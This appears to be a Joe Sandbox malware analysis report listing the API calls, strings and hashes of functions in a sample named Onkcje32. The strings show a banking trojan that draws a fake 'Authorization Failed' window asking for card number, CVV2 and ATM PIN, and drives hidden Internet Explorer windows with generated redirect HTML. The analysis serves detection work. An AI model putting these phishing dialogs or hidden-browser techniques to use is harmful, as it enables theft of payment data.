strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

7O{M, xrefs: 0040513F
X-okRecv11, xrefs: 00405458
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
\Iexplore.exe , xrefs: 004052EC
D, xrefs: 00405334
Path, xrefs: 00405250
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
MicroSoft-Corp, xrefs: 004053C3
IEFrame, xrefs: 004053F2

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

X-okRecv11, xrefs: 00405E3F
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
\Iexplore.exe , xrefs: 00405CEB
Path, xrefs: 00405C90
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
D, xrefs: 00405D39
MicroSoft-Corp, xrefs: 00405DB9
IEFrame, xrefs: 00405DE8

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
ATM PIN-Code, xrefs: 00406410
3-digit validation code on back of card (cvv2), xrefs: 004063D7
Authorization Failed., xrefs: 00406129
DocObject, xrefs: 00406089
BUTTON, xrefs: 0040656B
%.2u, xrefs: 004062D6
QueenKarton, xrefs: 004060F5
Click Once To Continue, xrefs: 00406566
Card && expiration date, xrefs: 0040635F
MasterCard, xrefs: 004061F2
Explorer, xrefs: 00406098
EDIT, xrefs: 004064BD, 004064F9, 0040652F
20%.2u, xrefs: 00406302
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
Visa, xrefs: 00406204
Please make corrections and try again., xrefs: 00406482
Your card number, xrefs: 0040639E

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
